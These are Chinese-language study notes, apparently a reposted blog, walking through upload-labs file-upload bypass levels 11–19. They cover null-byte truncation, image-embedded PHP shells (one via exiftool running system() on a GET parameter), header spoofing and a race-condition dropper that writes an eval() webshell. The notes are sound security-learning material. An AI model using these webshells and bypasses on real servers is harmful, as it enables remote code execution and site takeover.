6

文件上传漏洞 学习笔记(二)

 2 years ago
source link: https://qwzf.github.io/2019/08/03/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0(%E4%BA%8C)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

文件上传漏洞 学习笔记(二)

发布时间 :2019-08-03 10:22
字数:2.2k 阅读 :113

之前已经总结了一部分文件上传漏洞,现在继续总结剩余的另一部分。

漏洞环境依旧用的upload-labs。

四、白名单限制文件上传

文件截断绕过

%00截断
类型:PHP %00截断
原理:因为00代表结束符,所以会把00后面的所有字符删除
条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
常见的截断上传
0x00,%00,/00 截断的核心在于chr(0)这个字符,这个函数表示返回以数值表达式值为编码的字符。char(0)表示的ascll字符是null,当程序输出包含chr(0)变量时,chr(0)后面的数据会被截断,后面的数据直接忽略,导致漏洞产生。

Pass-11
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
php复制代码

是白名单判断,但$img_path直接拼接,所以可以利用%00截断绕过,上传webshell。
因为我的ubantu虚拟机PHP版本大于5.3.4,所以直接在windows进行测试。
因为之前没用过,所以先配置一下:
1、Firefox+Burpsuite抓包配置
2、设置PHP版本

在这里插入图片描述
在这里插入图片描述
3、magic_quotes_gpc调为OFF:magic_quotes_gpc函数的关闭方法

配置结束,开始上传webshell.jpg,抓包,添加webshell.php%00

在这里插入图片描述
在这里插入图片描述
Forward发包,上传成功
在这里插入图片描述
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述
在这里插入图片描述
Pass-12

查看源码,还是白名单判断,还是利用00截断。但save_path是通过post传进来的,post不会像get对%00进行自动解码,所以需要在二进制中进行修改。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
空格的十六进制是20 ,将0x20 改成0x00 也就是00
在这里插入图片描述
在这里插入图片描述
点击Go,上传成功
在这里插入图片描述
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述
在这里插入图片描述

五、内容限制文件上传

Pass-13
在这里插入图片描述
在这里插入图片描述
要求上传图片马,查看源码
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
php复制代码

分析代码,通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,

图片马制作方法

方法一:copy normal.jpg /b + shell.php /a webshell.jpg
这里,b代表二进制,a代表ascii编码
方法二:exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 1.jpg

我采用方法一先制作个图片马webshell.jpg(为了方便以后关卡一般直尝试jpg图片马)

在这里插入图片描述
在这里插入图片描述
上传webshell.jpg,不用抓包改包,上传成功
在这里插入图片描述
在这里插入图片描述
测试连接,连接失败,发现文件名被替换。一般使用BurpSuite的Repeater进行发包上传,方便查看被修改后的文件名。这里我用的本地搭建的环境,直接查看就行了。
在这里插入图片描述
在这里插入图片描述
重新输入图片马的文件名,测试连接,连接成功。表示该图片上传成功,但并不意味者可以进行利用
在这里插入图片描述
在这里插入图片描述
利用的话,还需要结合文件包含漏洞。这个靶场环境自带了个文件包含文件内容如下:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>
php复制代码

在php中,使用include,require、include_once、require_once函数包含的文件,会被当做php代码执行。无论文件的名称是什么,只要文件内容符合PHP代码规范,都会被当作PHP代码执行。

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjI1OTE3,size_16,color_FFFFFF,t_70
列出目录
watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjI1OTE3,size_16,color_FFFFFF,t_70
Pass-14

依旧是上传图片马,查看源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
sql复制代码

这里用的是getimagesize获取文件类型,还是直接可以利用图片马就可以绕过。
还用Pass-13制作的那个图片马,上传成功,连接成功。利用的话,结合文件包含漏洞。

当然查看有关信息发现可以图片头绕过,具体操作如下:
将PHP木马文件,改成*.php;.jpg
抓包,给文件头部加上:GIF89a 图片头标识

Pass-15
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}
php复制代码

利用php_exif模块判断文件类型,还是直接利用图片马就可以绕过。
上传图片马,在windows上上传有问题。所以打开ubantu漏洞环境上传,上传成功

在这里插入图片描述
在这里插入图片描述
查看文件名
在这里插入图片描述
在这里插入图片描述
测试连接,连接成功。利用的话,结合文件包含漏洞。
Pass-16

依旧是上传图片马,上传、查看文件名(正常情况下是用代理工具(如:BurpSuite)查看文件名)

在这里插入图片描述
在这里插入图片描述
测试连接、连接成功。利用的话,结合文件包含漏洞。
不过查看源码发现,综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,绕过方法(不想尝试,这里借用大佬的一张图):
在这里插入图片描述
在这里插入图片描述

六、竞争条件攻击

竞争条件攻击存在的原因:
一些网站上传逻辑是先允许上传任意文件,然后检查上传文件是否包含WebShell脚本,如果包含则删除该文件。文件上传成功后和删除文件之间存在短的时间差。攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。
攻击过程:
攻击者先上传一个webshell脚本shell.phpshell.php的内容是生成一个新的webshell脚本webshell.php
shell.php代码如下:

<?php
fputs(fopen('../webshell.php','w'),'<?php @eval($_POST['a']);?>');
?>
php复制代码

shell.php上传成功后,客户端立即访问shell.php,则会在当前目录下自动生成webshell.php,这时攻击者就利用时间差完成webshell的上传。

Pass-17
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
php复制代码

这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
首先在burp中不断发送上传webshell的数据包,然后不断在浏览器中访问,发现通过竞争可以访问到。
(不会不断发送上传webshell的数据包,没有复现成功)
upload-labs17

Pass-18

本关需要上传图片马,查看代码发现:
对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

依旧用webshell.jpg图片马测试,发送上传图片马的数据包

在这里插入图片描述
在这里插入图片描述

CVE-2015-2348 move_uploaded_file() 00截断

Pass-19

考察CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的
查看源码,发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。上传的文件名用0x00绕过。改成*.php【二进制00】.1.jpg,上传文件名改成要自己定义。
也可以上传webshell.php/.绕过
下面用的windows的漏洞环境。两个文件名中间留一个空格

在这里插入图片描述
在这里插入图片描述
将0x20改为0x00
在这里插入图片描述
在这里插入图片描述
Forword发包,上传成功。
在这里插入图片描述
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述
在这里插入图片描述

好了,总结完毕,总算了解完文件上传漏洞的各种绕过姿势,收获很大。
继续努力,小白进阶ing。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK